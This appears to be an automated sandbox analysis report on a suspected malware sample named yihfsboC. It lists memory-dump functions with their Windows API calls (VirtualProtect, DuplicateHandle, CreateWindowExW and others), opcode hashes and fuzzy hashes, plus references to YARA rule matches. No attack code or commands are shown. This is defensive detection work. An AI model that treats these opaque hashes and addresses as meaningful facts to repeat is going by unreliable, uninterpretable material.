Instruction ID: 18f6ee40962720416f2cb29be7647023332966f6877cee8d77c2d5ac8529a258
Opcode Fuzzy Hash: 986e18229a4f1030d39827bbaa3adca7a01321ae573e9c2e8c445b93d831e01e
Instruction Fuzzy Hash: FC5176B49013498FEB14DFAAC588B9EBBF1EF88311F20805DE419A73A0DB346945CF65

Function 0040AF66 Relevance: 6.0, APIs: 4, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_malloc.LIBCMT ref: 0040AF80

Part of subcall function 0040B84D: __FF_MSGBANNER.LIBCMT ref: 0040B870
Part of subcall function 0040B84D: __NMSG_WRITE.LIBCMT ref: 0040B877
Part of subcall function 0040B84D: RtlAllocateHeap.NTDLL(00000000,-0000000E,00000001,00000000,00000000,?,00411C86,00000001,00000001,00000001,?,0040D66A,00000018,00421240,0000000C,0040D6FB), ref: 0040B8C4

std::bad_alloc::bad_alloc.LIBCMT ref: 0040AFA3

Part of subcall function 0040AEFC: std::exception::exception.LIBCMT ref: 0040AF08

std::bad_exception::bad_exception.LIBCMT ref: 0040AFB7
__CxxThrowException@8.LIBCMT ref: 0040AFC5

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: AllocateException@8HeapThrow_mallocstd::bad_alloc::bad_allocstd::bad_exception::bad_exceptionstd::exception::exception
String ID:
API String ID: 1411284514-0
Opcode ID: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction ID: 8b9ae61c6da4be1dff3a05d3864a1109474d1d20ea1a05e38be312cad591667e
Opcode Fuzzy Hash: 248d97f5b0d58b32bb2c6dfd0cee56c1e8c558e55d5e2921fa5105a46d33be9f
Instruction Fuzzy Hash: 67F0BE21A0030662CA15BB61EC06D8E3B688F4031CB6000BFE811761D2CFBCEA55859E

Function 29B59D24 Relevance: 1.7, APIs: 1, Instructions: 187
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 29B59EF1

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: fc5eee8c732c0b17e9585bfcf97206fcdfcd7b7ffc9ae5619e6b79399ddb3042
Instruction ID: 2991eeb6b510a50ea9a315c21c899b3bcb56519a9a65e2f8d3b517d3e6d88f03
Opcode Fuzzy Hash: fc5eee8c732c0b17e9585bfcf97206fcdfcd7b7ffc9ae5619e6b79399ddb3042
Instruction Fuzzy Hash: EF7179B4D00218DFDF20CFA9D984ADDBBF1BF49304F5091AAE818A7221D730AA85CF45

Function 29B59D30 Relevance: 1.7, APIs: 1, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,?,?), ref: 29B59EF1

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: CreateWindow
String ID:
API String ID: 716092398-0
Opcode ID: a270c8941e8230f78b2eaad9b44acad6a7020fbffab02e10051078a3981420dd
Instruction ID: 43aa7598542b1ffdef491f0d69da2a423fe77606cd9689961f3aadccdea53434
Opcode Fuzzy Hash: a270c8941e8230f78b2eaad9b44acad6a7020fbffab02e10051078a3981420dd
Instruction Fuzzy Hash: 7E7159B4D002589FDF20CFA9D980B9DBBB1BF09300F5091AAE918A7261D770AA85CF55

Function 28DFAA30 Relevance: 1.7, APIs: 1, Instructions: 178COMMON

Download Yara Rule

APIs

KiUserExceptionDispatcher.NTDLL ref: 28DFAAC6

Memory Dump Source

Source File: 0000000E.00000002.2543136434.0000000028DF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 28DF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_28df0000_yihfsboC.jbxd

Similarity

API ID: DispatcherExceptionUser
String ID:
API String ID: 6842923-0
Opcode ID: bcbb59de5aaf103310e1e25c5f942af1fa050282568af233d7a072ae46e8bc69
Instruction ID: 226de51e3e1061781e618d56210d81f805702b7921c01da0704cff283cf3b4da
Opcode Fuzzy Hash: bcbb59de5aaf103310e1e25c5f942af1fa050282568af233d7a072ae46e8bc69
Instruction Fuzzy Hash: 2851AA7A4392069FE7516FB4C1AC96ABE76FB4F363700AD10A14AC3011BF3808498AE4

Function 29B5CA57 Relevance: 1.7, APIs: 1, Instructions: 151
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 29B5CB9B

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: f234aac5266fb686fe54ebe5b4533769f275c665ea39558aa4845f06a5f6c52f
Instruction ID: ba2adf51875a3638410797bdbd7b941395807971275628af111ebbcccf30eebd
Opcode Fuzzy Hash: f234aac5266fb686fe54ebe5b4533769f275c665ea39558aa4845f06a5f6c52f
Instruction Fuzzy Hash: 1951DD79D042889FCB01CFA9D880ADEBFB5FF4A310F14806AE918AB361D335A955CF50

Function 29B5CAD0 Relevance: 1.6, APIs: 1, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DuplicateHandle.KERNELBASE(?,?,?,?,?,?,?), ref: 29B5CB9B

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: DuplicateHandle
String ID:
API String ID: 3793708945-0
Opcode ID: 872c6f98cce317ce42c6c47f34cb3f92c574fb5e6aed75e7862348ebb89e35d0
Instruction ID: dfa62be4549152b9713c10dc0ed6802019176d0a2a787d1c67a5b29349468fa6
Opcode Fuzzy Hash: 872c6f98cce317ce42c6c47f34cb3f92c574fb5e6aed75e7862348ebb89e35d0
Instruction Fuzzy Hash: D44144B9D002589FCB10CFAAD984ADEBBF5BB09310F24906AE918BB310D335A945CF54

Function 29B5D6DC Relevance: 1.6, APIs: 1, Instructions: 97
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CallWindowProcW.USER32(?,?,?,?,?), ref: 29B5DE39

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: CallProcWindow
String ID:
API String ID: 2714655100-0
Opcode ID: bed336a0f6e788d08632d085b4e726073d1d666a5bef5b8898de080fc0abea12
Instruction ID: e9450c4f3567ee0134d3220d90dbda15afe94c016c9d2d6879ca8d2fd9736292
Opcode Fuzzy Hash: bed336a0f6e788d08632d085b4e726073d1d666a5bef5b8898de080fc0abea12
Instruction Fuzzy Hash: 164128B89003458FCB14CF99C484B9ABBF5FF98314F25C559D519AB361D774A842CFA0

Function 2417F368 Relevance: 1.6, APIs: 1, Instructions: 96
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNEL32(?,?,?,?), ref: 2417F40C

Memory Dump Source

Source File: 0000000E.00000002.2534518918.0000000024170000.00000040.00000800.00020000.00000000.sdmp, Offset: 24170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_24170000_yihfsboC.jbxd

Similarity

API ID: ProtectVirtual
String ID:
API String ID: 544645111-0
Opcode ID: 6068b19535d7203b369e367804f675a9389ca60f6d6c433e25c598edfa23614b
Instruction ID: 236b6efc21eefd8882fabfd9cbcf453e8f8cb020d0e3000e74f1da2454d1d574
Opcode Fuzzy Hash: 6068b19535d7203b369e367804f675a9389ca60f6d6c433e25c598edfa23614b
Instruction Fuzzy Hash: 903197B8D012489FCB14DFA9D980A9EFBB1AB49310F20942AE815B7210D735A945CF54

Function 29B5777C Relevance: 1.6, APIs: 1, Instructions: 88
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(00000000,?,?,00000000), ref: 29B5E0BB

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: 3a6fe7770b86df32a01b9eba2437fb60df86d564c3dd0e4570dfe854096b3536
Instruction ID: e86aec68b765123098ba1c1acc13c4a9cc7b6e142cc3976ca9cea34d5374b2e4
Opcode Fuzzy Hash: 3a6fe7770b86df32a01b9eba2437fb60df86d564c3dd0e4570dfe854096b3536
Instruction Fuzzy Hash: 953187B8D04258AFCB10CFA9D580A9EFBF5EB49310F14902AE818BB310D375A945CFA4

Function 29B5E019 Relevance: 1.6, APIs: 1, Instructions: 86
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetTimer.USER32(00000000,?,?,00000000), ref: 29B5E0BB

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: Timer
String ID:
API String ID: 2870079774-0
Opcode ID: fb5be4f5fa6dfa6c5e76f5ad97422d5f2584a5d46fef015c6531e6dab4b97a55
Instruction ID: 41c66f24d0c67dbf71b30c9f7a087c114454aa6d4474f63a546ed7903beeb6a4
Opcode Fuzzy Hash: fb5be4f5fa6dfa6c5e76f5ad97422d5f2584a5d46fef015c6531e6dab4b97a55
Instruction Fuzzy Hash: 6D3188B9D00258AFCB14CFA9D580A9EFBF1AB09310F14902AE818BB310D375A945CF54

Function 29B577CC Relevance: 1.6, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?), ref: 29B59172

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: e416662c7e2bc20a226618a52251ffbad54191a90f0d316155609d73bfbecf15
Instruction ID: 5aeef233d9e0d6aa04f2d7b5de67ccc62a3f2fdf341f53c050ab2d0d6a08fc75
Opcode Fuzzy Hash: e416662c7e2bc20a226618a52251ffbad54191a90f0d316155609d73bfbecf15
Instruction Fuzzy Hash: F931CDB4D002599FCB14CFAAD584ADEFBF5AF49310F14906AE818B7320D374A942CFA4

Function 29B590D9 Relevance: 1.6, APIs: 1, Instructions: 77COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?), ref: 29B59172

Memory Dump Source

Source File: 0000000E.00000002.2544510907.0000000029B50000.00000040.00000800.00020000.00000000.sdmp, Offset: 29B50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29b50000_yihfsboC.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 7298a4a93a234a4e65fcbb9da8ecdfc796b44f74154d9b7ce8fb60dc01437d5c
Instruction ID: 7c983fc7340aaeacb9adc0d4bf428121d83d5a604ecefc8db1c5e6291cf6602b
Opcode Fuzzy Hash: 7298a4a93a234a4e65fcbb9da8ecdfc796b44f74154d9b7ce8fb60dc01437d5c
Instruction Fuzzy Hash: B63198B4D002599FCB14CFAAD984ADEFBF1AF49310F14906AE818B7360D374A946CF64

Function 29C4A4EC Relevance: 1.6, APIs: 1, Instructions: 71windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,-00000018,?), ref: 29C4B733

Memory Dump Source

Source File: 0000000E.00000002.2544849734.0000000029C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 29C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29c40000_yihfsboC.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 3613ebe29490aaecde87e7d03d01cf5fc267d7b7643fce12a35314360cf533a0
Instruction ID: 0aa79e1e21da7656dc034742ecf9b60f38e3bbf1f90bada034797a2318b151bb
Opcode Fuzzy Hash: 3613ebe29490aaecde87e7d03d01cf5fc267d7b7643fce12a35314360cf533a0
Instruction Fuzzy Hash: 1231AEB8D042099FCB14CFAAD584ADEFBF4AF49320F14906AE818B7350D335A941CFA5

Function 29C4B6B7 Relevance: 1.6, APIs: 1, Instructions: 68windowCOMMON

Download Yara Rule

APIs

DispatchMessageW.USER32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,-00000018,?), ref: 29C4B733

Memory Dump Source

Source File: 0000000E.00000002.2544849734.0000000029C40000.00000040.00000800.00020000.00000000.sdmp, Offset: 29C40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29c40000_yihfsboC.jbxd

Similarity

API ID: DispatchMessage
String ID:
API String ID: 2061451462-0
Opcode ID: 7118c353f643c181a7565baf66ec7fec9a2b82ffdbe465d60e7cc123b381bb5c
Instruction ID: 130a52a77536faa9af88df10b255be192470320e6c9e7c7a37df96d4145e23fa
Opcode Fuzzy Hash: 7118c353f643c181a7565baf66ec7fec9a2b82ffdbe465d60e7cc123b381bb5c
Instruction Fuzzy Hash: EE218CB9D002499FCB14CFA9D584ADEFBF4AF49320F24906AE818B7350D335A941CF65

Function 00401870 Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0040AF66: _malloc.LIBCMT ref: 0040AF80

SysAllocString.OLEAUT32 ref: 00401898

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: AllocString_malloc
String ID:
API String ID: 959018026-0
Opcode ID: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction ID: c2922591c351a4c461934d9b8210169c8be4224f150a02a6988c85a72df9e820
Opcode Fuzzy Hash: 2b2277ba2f7599175ad158743716730806d9da3e8ba5769d67c84622d6ab0768
Instruction Fuzzy Hash: BEF02073501322A7E3316B658841B47B6E8DF80B28F00823FFD44BB391D3B9C85082EA

Function 0040D534 Relevance: 1.5, APIs: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

HeapCreate.KERNEL32(00000000,00001000,00000000), ref: 0040D549

Memory Dump Source

Source File: 0000000E.00000002.2505613508.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.2505613508.0000000000441000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_400000_yihfsboC.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction ID: a29dbb507fbbbc11cf477c5ad410ace9233c9b691e3651c0b65acef059567112
Opcode Fuzzy Hash: b92e553731a4154449cde6b8e59536b0b0aa674871376bfeaf174e1f515a675d
Instruction Fuzzy Hash: E8D05E36A54348AADB11AFB47C08B623BDCE388396F404576F80DC6290F678D641C548

Function 2417F638 Relevance: 1.3, APIs: 1, Instructions: 73COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32(?), ref: 2417F6B6

Memory Dump Source

Source File: 0000000E.00000002.2534518918.0000000024170000.00000040.00000800.00020000.00000000.sdmp, Offset: 24170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_24170000_yihfsboC.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: cdd0bdb6e6f6f80aec982d426ddb2350ebba195dde37d720ad84a2f68e910214
Instruction ID: 4a91df89ea52a21c7822d6a99e4ccacf3a1e109ec7ff14e97becaee23793dac3
Opcode Fuzzy Hash: cdd0bdb6e6f6f80aec982d426ddb2350ebba195dde37d720ad84a2f68e910214
Instruction Fuzzy Hash: 8031AAB4D012189FCB14DFAAD981A9EFBF4AF49310F10942AE815B7350CB35A901CFA4

Function 29931BD0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 91d32f7c62ae128a6c60edf6dfcd6d4848c015c3204678b8aa2dbbd4315adf29
Instruction ID: 85fff11333a970ee281faca78f1349af92d286a709b679f24b44e9d690d48158
Opcode Fuzzy Hash: 91d32f7c62ae128a6c60edf6dfcd6d4848c015c3204678b8aa2dbbd4315adf29
Instruction Fuzzy Hash: 4BD1C434B042048FD729CF78C494AAD7BB6EF89320F6441AAD545DB3B1DA31DC46CBA5

Function 29953B52 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b9a971a926a5ce97bb0cfe0fc2cf1d43f8b8fa8a751e3f450ef71507b9efcf35
Instruction ID: 1e655e0a0b37a6dc8575b52a4e4c916c95adbb8a3401e7abd60e2b9ba3e192d6
Opcode Fuzzy Hash: b9a971a926a5ce97bb0cfe0fc2cf1d43f8b8fa8a751e3f450ef71507b9efcf35
Instruction Fuzzy Hash: 31818E34A00205DFCB44DF79C88596FBBF2BF89324B1581AAD906DB365D732E842CB91

Function 29953808 Relevance: .2, Instructions: 220COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fa120496459e1472d5d164a33a43ce9123c680d660ec02431cfc042089aaabd4
Instruction ID: aa344a310fde5b0cf1d6f955a74d20236efb4eec20fb2382ff177c295c0af775
Opcode Fuzzy Hash: fa120496459e1472d5d164a33a43ce9123c680d660ec02431cfc042089aaabd4
Instruction Fuzzy Hash: AB71EE34704205CFE70D9B75C895B2F7BAAAF88360B148169D646CB394EF39CC478B90

Function 29932648 Relevance: .2, Instructions: 212COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f605603da6cde39172b143d20b923d753011b80014cde62de4337aa149c963bc
Instruction ID: a5e9e5fbdea586094498841d9e3403f10ec809b625b24164cae9fe80d1478189
Opcode Fuzzy Hash: f605603da6cde39172b143d20b923d753011b80014cde62de4337aa149c963bc
Instruction Fuzzy Hash: 6761FE75B002459FC7189F79D840A9EBBF9FFC8730B64857AE599C7250D730E8028BA0

Function 29954640 Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 76cee08f882c9779012a5e26ec1bbb85189aab13d0722595b17e7a8755995fc9
Instruction ID: 78e89c02fb974aea42d4c998be938f62981764e51896cf4dfb2ff06d4f9a8ab2
Opcode Fuzzy Hash: 76cee08f882c9779012a5e26ec1bbb85189aab13d0722595b17e7a8755995fc9
Instruction Fuzzy Hash: 49A17F74E00229CFDBA8DF69C854B99BBB1BB89300F1081EAD90DA7355DB309E85CF11

Function 299316CA Relevance: .2, Instructions: 191COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29930000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 87409612767939e7c2dee4c57109d8264f426e741946f464132a0ae87c3fff1e
Instruction ID: e8b63983feb8e9d2559f401c22b64c5d6609ccdeb9eacc7c9e9704c8b147e095
Opcode Fuzzy Hash: 87409612767939e7c2dee4c57109d8264f426e741946f464132a0ae87c3fff1e
Instruction Fuzzy Hash: 58613A34B043448FDB295F74945825D3BA6AFC1370F64866EE9928B3E1CE388D46CB5A

Function 29953690 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2452c5d0899df7f527c38c44a5aa473dcc7667ea24b7e4afef1bc0ecb30f055d
Instruction ID: 0a8c467005373e960c585bac72baa891552d3266e236f7777e33cbd84b412d30
Opcode Fuzzy Hash: 2452c5d0899df7f527c38c44a5aa473dcc7667ea24b7e4afef1bc0ecb30f055d
Instruction Fuzzy Hash: EC61DE75704255DFDB09CF64C845A6B7BFAFF88310F1485A9E5868B2A1EB38C806CB91

Function 29951D22 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e9c15791c9aa1961215caa7fd870bf8de02b6a33ff9cdcc72efc67df3fae6ec
Instruction ID: efd1e299afaeebec0ea8511d58425b9e5476bc7f20940012e0746819bd503f70
Opcode Fuzzy Hash: 6e9c15791c9aa1961215caa7fd870bf8de02b6a33ff9cdcc72efc67df3fae6ec
Instruction Fuzzy Hash: 2A91CF74E412298BDB64DF69C894BEDBBF2AF99300F1081E9D51DA7290EB345E85CF40

Function 29954597 Relevance: .2, Instructions: 173COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b83ce3568ab8a6290b245c7c3602507fbdecbf11ff514756dbbfd47beb38ca6b
Instruction ID: 67c66c84e35c4d4b171192c4387d4117e7f4cb1aeeb9c846b79f902d7e54d607
Opcode Fuzzy Hash: b83ce3568ab8a6290b245c7c3602507fbdecbf11ff514756dbbfd47beb38ca6b
Instruction Fuzzy Hash: A2817174E012288FDB68DF69C954B9EBBF2BB89200F1081EAD54DA7355DB305E85CF21

Function 29953F10 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e37373410e330d788533624991f8efb949274af6bea2052d39fb637756b17aa
Instruction ID: 61a0e52700f079873d0dadb5929d890a6febe7889e78710f47f9697c58f13bb8
Opcode Fuzzy Hash: 5e37373410e330d788533624991f8efb949274af6bea2052d39fb637756b17aa
Instruction Fuzzy Hash: EF512874608111CFC748DF78E894D6B3BF5BB5A3A071140A4E40AEB3A1DB38EC86CB90

Function 2995463F Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9c0a2801016445e8c635abb3d21c6049cfc45f9d99d1293850b282e234538a3
Instruction ID: 6e5dd7d8bc23278beae7fb5b99037e208d13f974856e0313fd52833153557bca
Opcode Fuzzy Hash: a9c0a2801016445e8c635abb3d21c6049cfc45f9d99d1293850b282e234538a3
Instruction Fuzzy Hash: 90818074E002288FDB68DF69C854B99BBF2BB89300F1081EAD90DA7354DB309E85CF11

Function 299562A0 Relevance: .2, Instructions: 155COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d93b50fb3f78cd0501d5e4031cf2fe27a33437c7c01e429f001f6b2f58821fbd
Instruction ID: 16181ac9db04bc481a7685e116881ba3716b578ecb4cc622df239c24903e81c9
Opcode Fuzzy Hash: d93b50fb3f78cd0501d5e4031cf2fe27a33437c7c01e429f001f6b2f58821fbd
Instruction Fuzzy Hash: 8071B374E412298FDB64DF69CD94BDDBBB2AF89300F1080EAD919A7254EB315E818F50

Function 2995547F Relevance: .1, Instructions: 148COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4366f5288a91c638ec63ea9850a11bbee01abffdaf99c108e4eacadbbd17f43f
Instruction ID: 5c9d397a8cc247c0c7eda5a08c9fcd2964fd6e914aab5e4d08112845434d4283
Opcode Fuzzy Hash: 4366f5288a91c638ec63ea9850a11bbee01abffdaf99c108e4eacadbbd17f43f
Instruction Fuzzy Hash: 3961C474E412298FEB64DF65CD50BDEBBB2AF89300F1080EAD919B7294DB315E819F40

Function 2995C820 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 814140022c474df519c6bf931d5ec8c0841bd7eca7fe0a07abcb7178f8e7d1f9
Instruction ID: d615dfae6b1d750a994c4143f5b1712ef0304c1f464caa79b6c631c12b3b0d05
Opcode Fuzzy Hash: 814140022c474df519c6bf931d5ec8c0841bd7eca7fe0a07abcb7178f8e7d1f9
Instruction Fuzzy Hash: 7551BFB9D012188FDB14DFA9C994BEEBBF2BF58301F10812AD515BB294EB385946CF50

Function 2995C830 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544229660.0000000029950000.00000040.00000800.00020000.00000000.sdmp, Offset: 29950000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_29950000_yihfsboC.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fdd4a633bc9349cb6acdc39424a39d5c9e28f3de1bcb8e9b7a4d5d7106dc9c53
Instruction ID: d57644f88c95db3ea6c5f09e041636afe72941ec5b5134b6b2fa5c2f1fde2ab7
Opcode Fuzzy Hash: fdd4a633bc9349cb6acdc39424a39d5c9e28f3de1bcb8e9b7a4d5d7106dc9c53
Instruction Fuzzy Hash: 3E51AF78D012188FDB14DFE9C894AEEBBF6BF58300F208129D515BB294EB385946CF50

Function 29939C28 Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.2544116148.0000000029930000.00000040.00000800.00020000.00000000.sdmp, Offset: 29930000, based on PE: false

Joe Sandbox IDA Plugin

